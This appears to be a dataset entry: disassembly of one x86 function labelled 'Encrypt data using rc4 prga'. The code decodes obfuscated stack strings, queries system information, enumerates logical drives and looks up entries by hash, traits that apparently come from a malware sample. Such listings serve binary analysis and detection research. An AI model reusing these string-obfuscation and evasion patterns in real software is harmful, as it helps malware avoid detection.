Function at 0x423624
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x90
mov dword [esp + 8], 0xa5e8a387
mov dword [esp + 0xc], 0xa9cba7c9
mov dword [esp + 0x10], 0xadc0abcb
mov dword [esp + 0x14], 0xd140afef
mov dword [esp + 0x18], 0xd590d342
mov dword [esp + 0x1c], 0xd94cd7b7
mov dword [esp + 0x20], 0xddf9dbbb
lea eax, [esp + 0x24]
mov word [esp + 0x24], 0xdfde
lea ecx, [esp + 8]
mov edx, 0xcd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ecx]
lea edi, [edx - 0xea23300]
or edi, esi
not edi
and esi, edx
or esi, edi
mov edi, esi
and edi, 0xaa2226d
mov ebp, esi
and ebp, 2
mov ebx, ebp
xor ebx, 2
imul ebx, edi
or edi, 2
imul edi, ebp
xor esi, 0x8aee6e6f
add ebx, esi
add ebx, edi
and esi, 1
or ebx, 1
add ebx, esi
mov byte [ecx], bl
inc ecx
dec edx
cmp edx, 0xaf
jne case.default.0x420260
lea ebx, [esp + 0x72]
lea edx, [esp + 8]
mov edi, ebx
mov ecx, 7
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0x8e]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea edi, [esp + 4]
push edi
push 0
push 0
push 0xe
push ebx
push 0
call dword [0x445bac]
xor ecx, ecx
cmp eax, 0xc0000023
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x440468]
jmp dword [0x440474]
mov esi, dword [esp + 4]
test esi, esi
jns 0x42027c
mov eax, 0xffffffff
jmp 0x42027f
lea eax, [esi + esi]
push eax
call fcn.004082f0
add esp, 4
push edi
push esi
push eax
push 0xe
push ebx
push 0
call dword [0x445bac]
jmp case.0x420260.4
mov eax, 0xffffffff
push eax
call fcn.004082f0
add esp, 4
mov esi, eax
push edi
push ebp
push eax
push 0xe
push ebx
push 0
call dword [0x445bac]
jmp dword [0x440478]
mov ebp, dword [esp + 4]
test ebp, ebp
js 0x4202a0
lea eax, [ebp*2]
jmp 0x4202a5
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x440480]
xor eax, eax
jmp dword [0x440488]
push esi
call fcn.00408300
add esp, 4
xor eax, eax
jmp case.0x420260.2
jmp dword [0x440490]
push edi
call fcn.00408300
add esp, 4
jmp dword [0x4404c8]
jmp dword [0x4404d0]
push esi
call fcn.00408300
add esp, 4
mov ecx, dword [case.0x420260.2]
mov eax, dword [esp]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
add esp, 0x90
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0x6c]
shr eax, 2
and eax, 4
xor ecx, ecx
jmp dword [eax + 0x4404b8]
mov dword [esp + 0x64], edi
mov dword [esp + 0x68], ebx
mov dword [esp + 0x54], 0x87e885ee
mov dword [esp + 0x58], 0x8b27892d
mov dword [esp + 0x5c], 0x8f8e8d20
mov eax, 0x8426a74f
mov ebp, 0x84d4e9e
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x7bd95905]
mov dword [esp], ecx
mov edi, ebp
and edi, 0x8094608
mov ebx, eax
xor ebx, 0x940df3a4
lea edx, [edi + ebx]
add edi, ebx
add edi, 0x7bd958b1
mov ecx, 0x426a74e
sub ecx, edx
and ecx, 0x26878a6d
mov ebx, edi
and ebx, 0x19785592
or ebx, ecx
xor ebx, dword [esp]
xor ebx, 0x59785592
and ebx, edi
mov ecx, ebx
and ecx, 0xfd
mov edi, ebx
or edi, 0xfd
inc edi
imul edi, ecx
mov ecx, ebx
and ecx, 2
or ebx, 2
imul ebx, ecx
sub edi, ebx
mov ecx, dword [esp]
add ecx, edx
add ecx, 0x7bd958b1
add ecx, edi
add cl, 0xe0
mov byte [esp + eax + 0x7bd95905], cl
inc eax
add ebp, 2
cmp eax, 0x8426a75b
jne 0x420380
mov dword [esp + 8], 0xb5d5b3ff
mov dword [esp + 0xc], 0xb9d4b7df
mov dword [esp + 0x10], 0xbd93bb29
mov dword [esp + 0x14], 0xa1c9bfc9
mov dword [esp + 0x18], 0xa5c0a3cc
mov dword [esp + 0x1c], 0xa93fa7c9
mov dword [esp + 0x20], 0xad8cab39
mov dword [esp + 0x24], 0xd1b1afe3
mov dword [esp + 0x28], 0xd5b8d3bb
mov dword [esp + 0x2c], 0xd999d7f6
mov dword [esp + 0x30], 0xdd48dbb6
mov dword [esp + 0x34], 0xc152dfbb
mov dword [esp + 0x38], 0xc5a5c3ac
mov dword [esp + 0x3c], 0xc9a1c752
mov dword [esp + 0x40], 0xcda9cb5c
mov word [esp + 0x44], 0xcfce
xor eax, eax
mov ecx, eax
add cl, 0xa2
xor cl, byte [esp + eax + 8]
add cl, 0xf0
mov byte [esp + eax + 8], cl
inc eax
cmp eax, 0x3e
jne 0x420490
lea eax, [esp + 0x54]
push 0
push 4
push 0xc00000
push eax
mov edi, dword [esp + 0x74]
push edi
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0xbc]
call fcn.0041e6b0
add esp, 0x1c
mov dword [esp], eax
mov ebx, dword [esp + 0x68]
jmp dword [0x4404c0]
mov ecx, dword [esp + 4]
mov edx, 0x38e38e39
mov eax, ecx
imul edx
mov eax, edx
shr eax, 0x1f
sar edx, 1
add edx, eax
lea eax, [edx + edx*8]
sub ecx, eax
lea eax, [ecx + ecx]
test ecx, ecx
jns 0x420501
mov eax, 0xffffffff
push eax
call fcn.004082f0
add esp, 4
mov dword [esp + 8], 0x3c6b3a55
mov dword [esp + 0xc], 0x305c3e5c
mov dword [esp + 0x10], 0x3452324a
mov dword [esp + 0x14], 0x48523652
mov dword [esp + 0x18], 0x4c4b4a3a
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 8]
lea edi, [ecx + 0x603299b1]
and edi, edx
add edx, ecx
add edx, 0x603299b1
add edi, edi
sub edx, edi
mov edi, edx
xor edi, 0xd5
and edx, 0x2a
add edx, edx
sub edx, edi
add dl, 0x4d
mov byte [esp + ecx + 8], dl
mov edx, ecx
not edx
or edx, 1
add edx, ecx
xor ecx, 1
lea ecx, [ecx + edx*2]
add ecx, 2
cmp ecx, 0x14
jb 0x420540
movzx edx, word [esi]
mov ecx, eax
test dx, dx
je 0x4205b1
lea edi, [esi + 2]
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x4205a0
mov word [ecx], 0
movzx edx, word [esp + 8]
test dx, dx
je 0x4205e1
lea edi, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x4205d0
mov word [ecx], 0
lea ecx, [esp + 0x60]
push ecx
push eax
call fcn.00439db0
add esp, 8
mov ecx, dword [esp + 4]
lea eax, [ecx*2 + 0x12]
add ecx, 9
jns 0x420609
mov eax, 0xffffffff
push eax
call fcn.004082f0
add esp, 4
mov ebx, eax
mov dword [esp + 8], 0x3c6b3a55
mov dword [esp + 0xc], 0x305c3e5c
mov dword [esp + 0x10], 0x3452324a
mov dword [esp + 0x14], 0x48523652
mov dword [esp + 0x18], 0x4c4b4a3a
xor eax, eax
nop
nop
movzx ecx, byte [esp + eax + 8]
lea edx, [eax + 0x603299b1]
and edx, ecx
add ecx, eax
add ecx, 0x603299b1
add edx, edx
sub ecx, edx
mov edx, ecx
xor edx, 0xd5
and ecx, 0x2a
add ecx, ecx
sub ecx, edx
add cl, 0x4d
mov byte [esp + eax + 8], cl
mov ecx, eax
not ecx
or ecx, 1
add ecx, eax
xor eax, 1
lea eax, [eax + ecx*2]
add eax, 2
cmp eax, 0x14
jb 0x420640
movzx ecx, word [esi]
mov eax, ebx
test cx, cx
je 0x4206b1
lea edx, [esi + 2]
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4206a0
mov word [eax], 0
movzx ecx, word [esp + 8]
test cx, cx
je 0x4206e1
lea edx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4206d0
mov word [eax], 0
lea eax, [esp + 0x60]
push eax
push ebx
call fcn.00439db0
add esp, 8
jmp dword [0x44049c]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4404a0]
mov eax, dword [esp + 0x60]
shr eax, 2
and eax, 4
jmp dword [eax + 0x4404a8]
mov eax, dword [esp + 4]
mov ecx, eax
add ecx, 0x25
jns 0x420728
mov eax, 0xffffffff
jmp 0x42072f
lea eax, [eax*2 + 0x4a]
push eax
call fcn.004082f0
add esp, 4
mov edi, eax
mov dword [esp + 8], 0x589a46e9
mov dword [esp + 0xc], 0x5cf85ae0
mov dword [esp + 0x10], 0x50e05eef
mov dword [esp + 0x14], 0x54ec52e2
mov dword [esp + 0x18], 0x28e356f3
mov dword [esp + 0x1c], 0x2cfc2a85
mov dword [esp + 0x20], 0x20912e94
mov dword [esp + 0x24], 0x249c2285
mov dword [esp + 0x28], 0x38942692
mov dword [esp + 0x2c], 0x3ce63ad9
mov dword [esp + 0x30], 0x30863e9c
mov dword [esp + 0x34], 0x349f328d
mov dword [esp + 0x38], 0x88836e9
mov dword [esp + 0x3c], 0xcaa0aaa
mov dword [esp + 0x40], 0xef0eb1
mov dword [esp + 0x44], 0x4bc02c7
mov dword [esp + 0x48], 0x18a306b9
mov dword [esp + 0x4c], 0x1ca91abc
mov dword [esp + 0x50], 0x101f1eae
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x2d
xor cl, byte [esp + eax + 8]
add cl, 0x98
mov byte [esp + eax + 8], cl
inc eax
cmp eax, 0x4c
jne 0x4207e0
movzx ecx, word [esi]
mov eax, edi
test cx, cx
je 0x420821
mov edx, esi
add edx, 2
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x420810
mov word [eax], 0
movzx ecx, word [esp + 8]
test cx, cx
je 0x420851
lea edx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x420840
mov word [eax], 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea eax, [esp + 0x6c]
push eax
push edi
call fcn.00439db0
add esp, 8
not eax
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x4404b0]
mov dword [esp], ecx
jmp dword [0x4404c0]
jmp dword [0x4404c8]
push ebx
call fcn.00408300
add esp, 4
jmp dword [0x4404d0]
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], ebx
mov dword [esp + 8], 0x14ea12ec
mov dword [esp + 0xc], 0x28e516f6
mov dword [esp + 0x10], 0x2cd82ad6
mov dword [esp + 0x14], 0x20c92ed2
mov dword [esp + 0x18], 0x241d22d5
mov dword [esp + 0x1c], 0x38de26d2
mov dword [esp + 0x20], 0x3cdf3ac7
mov dword [esp + 0x24], 0x30c83ec2
mov dword [esp + 0x28], 0x34d032c2
mov dword [esp + 0x2c], 0xc8ca36ca
mov dword [esp + 0x30], 0xcc3eca34
mov dword [esp + 0x34], 0xc036ce33
mov dword [esp + 0x38], 0xc422c222
mov dword [esp + 0x3c], 0xd83ec631
mov dword [esp + 0x40], 0xdc25da26
mov dword [esp + 0x44], 0xd03ede2e
mov dword [esp + 0x48], 0xd423d221
mov dword [esp + 0x4c], 0xe8edd626
mov word [esp + 0x50], 0xeae9
mov eax, 0xd9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0xd1]
mov edx, eax
and edx, ecx
lea edi, [eax - 0x57407b00]
or edi, ecx
xor edi, edx
mov ecx, edi
and ecx, 0x37
add ecx, ecx
xor edi, 0xc8
sub ecx, edi
mov byte [esp + eax - 0xd1], cl
inc eax
cmp eax, 0x123
jne 0x420950
lea eax, [esp + 0x54]
push eax
push 0x422520
lea eax, [esp + 0x10]
push eax
push ebx
call fcn.0041e7f0
add esp, 0x10
mov dword [esp], eax
jmp dword [0x4404c8]
xor eax, eax
xor ebx, ebx
jmp dword [0x440528]
push eax
sub esp, 0x3c
mov dword [ebp - 0x14], esp
sub esp, 0x40
mov eax, esp
push eax
mov dword [ebp - 0x18], esp
push eax
mov dword [ebp - 0x1c], esp
sub esp, 0x18
mov dword [ebp - 0x24], esp
sub esp, 0x18
mov dword [ebp - 0x28], esp
sub esp, 0x14
mov dword [ebp - 0x20], esp
mov dword [eax], 0x4e0e68
mov dword [eax + 4], 0x4b302b1
mov dword [eax + 8], 0x18a60641
mov dword [eax + 0xc], 0x1cba1aad
mov dword [eax + 0x10], 0x10b31e78
mov dword [eax + 0x14], 0x14ab1245
mov dword [eax + 0x18], 0x68a916a0
mov dword [eax + 0x1c], 0x6cce6acd
mov dword [eax + 0x20], 0x60cd6edf
mov dword [eax + 0x24], 0x64d162d8
mov dword [eax + 0x28], 0x78cb66c1
mov dword [eax + 0x2c], 0x7cc97a29
mov dword [eax + 0x30], 0x70d97ec2
mov dword [eax + 0x34], 0x74cf72c8
mov dword [eax + 0x38], 0x48c476d0
mov word [eax + 0x3c], 0x4a49
mov dword [ebp - 0x10], eax
add eax, 0x3c
mov dword [ebp - 0x2c], eax
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
movzx esi, byte [ecx + eax]
mov edx, eax
and edx, 0x25
mov ecx, eax
and ecx, 0x1a
xor ecx, 0xcf6c99db
sub edx, ecx
mov ebx, edx
and ebx, esi
mov ecx, ebx
or ecx, 0xfd
inc ecx
mov edi, ebx
and edi, 0xfffffffd
imul edi, ecx
xor edx, esi
mov esi, ebx
lea ecx, [edx + ebx*2]
and ebx, 2
or esi, 2
imul esi, ebx
sub edi, esi
add ecx, edi
add cl, 0xd8
mov edx, dword [ebp - 0x10]
mov byte [edx + eax], cl
inc eax
cmp eax, 0x3e
jne 0x420a70
mov eax, dword [ebp - 0x14]
mov edi, eax
mov ecx, 0xf
mov edx, dword [ebp - 0x10]
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edi, eax
add edi, 0x3c
mov ecx, 1
mov edx, dword [ebp - 0x2c]
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov edi, dword [ebp - 0x18]
push edi
push 0
push 0
push 0x1e
push eax
push 0
call dword [0x445bac]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], 0xc0000023
jmp dword [0x440500]
push eax
sub esp, 0x3c
mov dword [ebp - 0x14], esp
sub esp, 0x40
mov eax, esp
push eax
mov dword [ebp - 0x18], esp
mov dword [eax], 0x4e0e68
mov dword [eax + 4], 0x4b302b1
mov dword [eax + 8], 0x18a60641
mov dword [eax + 0xc], 0x1cba1aad
mov dword [eax + 0x10], 0x10b31e78
mov dword [eax + 0x14], 0x14ab1245
mov dword [eax + 0x18], 0x68a916a0
mov dword [eax + 0x1c], 0x6cce6acd
mov dword [eax + 0x20], 0x60cd6edf
mov dword [eax + 0x24], 0x64d162d8
mov dword [eax + 0x28], 0x78cb66c1
mov dword [eax + 0x2c], 0x7cc97a29
mov dword [eax + 0x30], 0x70d97ec2
mov dword [eax + 0x34], 0x74cf72c8
mov dword [eax + 0x38], 0x48c476d0
mov word [eax + 0x3c], 0x4a49
mov dword [ebp - 0x10], eax
add eax, 0x3c
mov dword [ebp - 0x1c], eax
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
movzx edx, byte [eax + esi]
mov ebx, esi
and ebx, 0x25
mov ecx, esi
and ecx, 0x1a
xor ecx, 0xcf6c99db
sub ebx, ecx
mov eax, ebx
and eax, edx
mov ecx, eax
or ecx, 0xfd
inc ecx
mov edi, eax
and edi, 0xfffffffd
imul edi, ecx
xor ebx, edx
mov edx, eax
lea ecx, [ebx + eax*2]
and eax, 2
or edx, 2
imul edx, eax
sub edi, edx
add ecx, edi
add cl, 0xd8
mov eax, dword [ebp - 0x10]
mov byte [eax + esi], cl
inc esi
cmp esi, 0x3e
jne 0x420ba0
mov eax, dword [ebp - 0x14]
mov edi, eax
mov ecx, 0xf
mov edx, dword [ebp - 0x10]
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edi, eax
add edi, 0x3c
mov ecx, 1
mov edx, dword [ebp - 0x1c]
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
push dword [ebp - 0x18]
push 0
push 0
push 0x1e
push eax
push 0
call dword [0x445bac]
jmp case.0x420260.37
xor ecx, ecx
cmp eax, 0xc0000023
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x440508]
mov ebx, dword [ebp - 0x28]
jmp dword [0x440510]
mov esi, dword [edi]
test esi, esi
jns 0x420c58
mov eax, 0xffffffff
jmp 0x420c5b
lea eax, [esi + esi]
push eax
call fcn.004082f0
add esp, 4
push edi
push esi
push eax
push 0x1e
push dword [ebp - 0x14]
push 0
call dword [0x445bac]
jmp case.0x420260.43
mov eax, 0xffffffff
push eax
call fcn.004082f0
add esp, 4
mov esi, eax
mov eax, dword [ebp - 0x18]
push eax
push edi
mov edi, eax
push esi
push 0x1e
push dword [ebp - 0x14]
push 0
call dword [0x445bac]
jmp dword [0x440518]
mov edi, dword [edi]
test edi, edi
js 0x420c80
lea eax, [edi + edi]
jmp 0x420c85
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x440520]
mov dword [ebx], 0xa239a01b
mov dword [ebx + 4], 0xa63ba436
mov dword [ebx + 8], 0x9a3c9803
mov dword [ebx + 0xc], 0x9e3f9c09
mov dword [ebx + 0x10], 0x92039006
mov dword [ebx + 0x14], 0x96959437
xor eax, eax
nop
nop
nop
mov ecx, eax
and ecx, 0x15
mov edx, eax
and edx, 2
mov edi, edx
xor edi, 2
imul edi, ecx
or ecx, 2
imul ecx, edx
mov edx, eax
xor edx, 0x17
add edx, edi
add edx, ecx
xor dl, byte [ebx + eax]
add dl, 0x48
mov byte [ebx + eax], dl
inc eax
cmp eax, 0x18
jne 0x420cf0
mov eax, ebx
mov edx, dword [ebp - 0x24]
mov edi, edx
mov ecx, 6
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov edi, edx
add edi, 0x18
add ebx, 0x18
xor ecx, ecx
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov eax, dword [ebp - 0x20]
mov dword [eax + 0xc], 0
mov dword [eax + 4], 0
mov byte [eax + 0x10], 1
mov dword [eax], edx
mov dword [eax + 8], esi
push 0
push 0
push eax
push dword [ebp + 8]
call fcn.0041cb30
add esp, 0x10
mov ebx, eax
jmp dword [0x440528]
push esi
call fcn.00408300
add esp, 4
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
inc esi
xor eax, eax
cmp esi, dword [esp + 0x28]
setb al
jmp dword [eax*4 + 0x440550]
mov dword [ebp], 0x20003a
add ebp, 4
mov al, 1
mov dword [esp + 0x38], eax
mov esi, dword [esp]
inc esi
test byte [esp + 0x38], 1
sete al
mov edx, dword [esp + 0x54]
cmp edx, 1
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x4405b0]
xor eax, eax
cmp edx, 3
sete al
jmp dword [eax*4 + 0x4405c0]
mov dword [esp + 0x50], edx
mov dword [esp + 4], ebp
mov dword [esp + 0xa], 0xee8eecaa
mov dword [esp + 0xe], 0xe27ee08c
mov dword [esp + 0x12], 0xe67be476
mov dword [esp + 0x16], 0x1a191873
xor ecx, ecx
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx + 0xa]
lea edx, [ecx - 0xec65dc8]
mov esi, edx
xor esi, 0x6c58a8c5
and edx, 0x1121023a
add edx, edx
sub edx, esi
xor edx, eax
mov eax, edx
xor eax, 0x99
and edx, 0x66
add edx, edx
sub edx, eax
inc dl
mov byte [esp + ecx + 0xa], dl
mov eax, ecx
xor eax, 0xe52040c3
and ecx, 3
lea ecx, [eax + ecx*2]
add ecx, 0x1adfbf3e
cmp ecx, 0x10
jb 0x421d40
movzx ebx, word [esp + 0xa]
lea esi, [esp + 0x7a]
test bx, bx
je 0x421ddd
lea ecx, [esp + 0x7a]
lea ebp, [esp + 0xa]
mov esi, ecx
jmp 0x421db9
movzx ebx, word [ebp]
test bx, bx
je 0x421ddd
movzx eax, word [ecx]
test ax, ax
je 0x421ddb
add ecx, 2
add ebp, 2
lea edx, [esi + 2]
cmp ax, bx
je 0x421dd3
mov esi, edx
mov ecx, edx
je 0x421db0
lea ebp, [esp + 0xa]
jmp 0x421db0
xor esi, esi
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x4405b8]
xor eax, eax
cmp dword [esp + 0x50], 3
sete al
mov ebp, dword [esp + 4]
jmp dword [eax*4 + 0x4405c0]
mov dword [esp + 0xa], 0xb111cf7e
mov dword [esp + 0xe], 0xb527b321
mov dword [esp + 0x12], 0xb917b721
mov dword [esp + 0x16], 0xbd18bb28
mov word [esp + 0x1a], 0xbfbe
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0xa]
mov esi, eax
and esi, 2
xor esi, 0x95a141c2
mov edx, eax
and edx, 0x1d
sub edx, esi
mov esi, edx
xor esi, ecx
lea edi, [esi + esi]
not edi
add edi, esi
and edi, edx
mov esi, edi
and esi, 2
mov ebx, edi
or edi, 2
imul edi, esi
xor esi, 2
and ebx, 0x6a5ebe7d
imul ebx, esi
add edi, ebx
mov esi, edi
not esi
and esi, edx
not edx
and edx, edi
sub ecx, edx
add ecx, esi
add ecx, 0x4fdf638b
mov edx, ecx
and edx, 0x2d0a0e0f
xor ecx, 0xad0a0e0f
lea ecx, [ecx + edx*2]
mov edx, ecx
and edx, 0x75
xor ecx, 0x75
lea ecx, [ecx + edx*2]
inc cl
mov byte [esp + eax + 0xa], cl
inc eax
cmp eax, 0x12
jne 0x421e30
movzx edi, word [esp + 0xa]
test di, di
je 0x421f50
lea ecx, [esp + 0x7a]
lea edx, [esp + 0xa]
mov eax, ecx
jmp 0x421edc
movzx edi, word [edx]
test di, di
je 0x421f58
movzx ebx, word [ecx]
test bx, bx
je 0x421f56
add ecx, 2
add edx, 2
lea esi, [eax + 2]
cmp bx, di
je 0x421ef6
mov eax, esi
mov ecx, esi
je 0x421ed0
lea edx, [esp + 0xa]
jmp 0x421ed0
mov ecx, dword [esp + 0x20]
cmp ecx, 2
mov ebp, dword [esp + 4]
jb 0x421c90
shr ecx, 1
mov eax, ecx
and eax, 3
je 0x421fc3
xor edx, edx
lea edi, [esp + 0xde8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, word [edi]
xor ebx, ebx
test si, si
setne bl
lea edi, [edi + ebx*2]
mov word [ebp], si
add ebp, 2
inc edx
cmp eax, edx
jne 0x421f30
mov eax, ecx
sub eax, edx
jmp 0x421fc5
lea eax, [esp + 0x7a]
jmp 0x421f58
xor eax, eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4405c8]
jmp case.0x420260.87
mov edx, dword [esp + 0x20]
cmp edx, 2
mov esi, dword [esp]
jb 0x422098
shr edx, 1
mov ecx, edx
and ecx, 3
je 0x42202a
xor edi, edi
lea eax, [esp + 0xde8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, word [eax]
xor ebx, ebx
test si, si
setne bl
lea eax, [eax + ebx*2]
mov word [ebp], si
add ebp, 2
inc edi
cmp ecx, edi
jne 0x421fa0
mov ecx, edx
sub ecx, edi
mov esi, dword [esp]
jmp 0x422033
mov eax, ecx
dec ecx
cmp ecx, 3
jb 0x421c90
nop
mov esi, ebp
movzx ecx, word [edi]
xor edx, edx
test cx, cx
setne dl
lea ebx, [edi + edx*2]
mov word [ebp], cx
movzx ecx, word [edi + edx*2]
xor edx, edx
test cx, cx
setne dl
lea edi, [ebx + edx*2]
mov word [ebp + 2], cx
movzx ecx, word [ebx + edx*2]
xor edx, edx
test cx, cx
setne dl
lea ebx, [edi + edx*2]
mov word [ebp + 4], cx
movzx edx, word [edi + edx*2]
xor ecx, ecx
test dx, dx
setne cl
mov word [ebp + 6], dx
add ebp, 8
lea edi, [ebx + ecx*2]
add eax, 0xfffffffc
jne 0x421fd0
jmp 0x421c90
lea eax, [esp + 0xde8]
mov ecx, edx
dec edx
cmp edx, 3
jb 0x422098
nop
nop
nop
nop
nop
nop
nop
mov esi, ebp
movzx edx, word [eax]
xor ebx, ebx
test dx, dx
setne bl
lea edi, [eax + ebx*2]
mov word [ebp], dx
movzx eax, word [eax + ebx*2]
xor edx, edx
test ax, ax
setne dl
lea ebx, [edi + edx*2]
mov word [ebp + 2], ax
movzx eax, word [edi + edx*2]
xor edx, edx
test ax, ax
setne dl
lea edi, [ebx + edx*2]
mov word [ebp + 4], ax
movzx edx, word [ebx + edx*2]
xor eax, eax
test dx, dx
setne al
mov word [ebp + 6], dx
add ebp, 8
lea eax, [edi + eax*2]
add ecx, 0xfffffffc
jne 0x422040
mov esi, dword [esp]
mov word [ebp], 0xa
add ebp, 2
mov al, 1
mov dword [esp + 0x34], eax
inc esi
jmp 0x421ca4
mov ecx, dword [0x445bb0]
test ecx, ecx
je case.0x420260.92
mov eax, dword [esp + 0x24]
xor edx, edx
mov edi, dword [0x445bb4]
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xb430e561
je 0x4220e0
inc edx
cmp ecx, edx
jne 0x4220d0
jmp case.0x420260.92
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, 0xffffffff
je case.0x420260.92
push eax
push 4
push ecx
push dword [0x445bb8]
call fcn.00437e00
add esp, 0x10
nop
nop
nop
nop
nop
mov ecx, dword [0x445bb0]
test ecx, ecx
je 0x422160
mov eax, dword [esp + 0x24]
xor edx, edx
mov edi, dword [0x445bb4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xb430e561
je 0x422130
inc edx
cmp ecx, edx
jne 0x422120
jmp 0x422160
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, 0xffffffff
je 0x422160
push eax
push 4
push ecx
push dword [0x445bb8]
call fcn.00437e00
add esp, 0x10
jmp dword [0x4405dc]
jmp dword [0x4405dc]
push edi
call fcn.00408300
add esp, 4
inc esi
xor eax, eax
cmp esi, dword [esp + 0x28]
setb al
jmp dword [eax*4 + 0x440550]
push esi
mov esi, eax
call fcn.00408300
mov eax, esi
add esp, 4
xor eax, eax
cmp ebp, dword [esp]
setne al
xor ebx, ebx
jmp dword [eax*4 + 0x440bbc]
mov eax, dword [esp]
movzx ecx, word [eax]
test cx, cx
je 0x422dcb
mov eax, dword [esp]
add eax, 2
xor ebx, ebx
jmp 0x422d9c
xor ebx, ebx
test ecx, ecx
sete bl
xor edx, edx
jmp dword [ebx*4 + 0x440bb4]
jmp dword [edx*4 + 0x440b54]
mov dword [esp + 0x3c], 0x6f704ef
mov dword [esp + 0x40], 0x3afe38c2
mov dword [esp + 0x44], 0x3ece3cc2
mov dword [esp + 0x48], 0x32c330cb
mov dword [esp + 0x4c], 0x36d934da
mov dword [esp + 0x50], 0x2ae828ca
mov dword [esp + 0x54], 0x2ed52ce8
mov dword [esp + 0x58], 0x22df20d6
mov dword [esp + 0x5c], 0x26c924e6
mov dword [esp + 0x60], 0xda26d8d4
mov dword [esp + 0x64], 0xde29dc1d
mov dword [esp + 0x68], 0xd210d028
mov dword [esp + 0x6c], 0xd610d421
mov dword [esp + 0x70], 0xca34c83b
mov dword [esp + 0x74], 0xce2ecc52
mov dword [esp + 0x78], 0xc25ec05d
mov dword [esp + 0x7c], 0xc65ac450
mov dword [esp + 0x80], 0xfa6df821
mov dword [esp + 0x84], 0xfe0afc17
mov dword [esp + 0x88], 0xf26ff066
mov dword [esp + 0x8c], 0xf66af417
mov dword [esp + 0x90], 0xea7ae860
mov dword [esp + 0x94], 0xee2eec07
mov dword [esp + 0x98], 0xe273e07a
mov dword [esp + 0x9c], 0xe600e471
mov dword [esp + 0xa0], 0x9a0d9879
mov dword [esp + 0xa4], 0x9e789c6d
mov dword [esp + 0xa8], 0x9202900d
mov dword [esp + 0xac], 0x960a940a
mov dword [esp + 0xb0], 0x8a658809
mov dword [esp + 0xb4], 0x8e138c7e
mov dword [esp + 0xb8], 0x821f8016
mov dword [esp + 0xbc], 0x86118410
mov dword [esp + 0xc0], 0xba25b866
mov dword [esp + 0xc4], 0xbebdbc27
mov ecx, 0x5b
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x1f]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0xa8
mov byte [esp + ecx - 0x1f], dl
inc ecx
cmp ecx, 0xe7
jne case.default.0x422a3c
lea ecx, [esp + 0xc]
lea edx, [esp + 0x3c]
push 0
push 0
push eax
push ecx
push edx
call fcn.0043a180
add esp, 0x14
shr eax, 0x1f
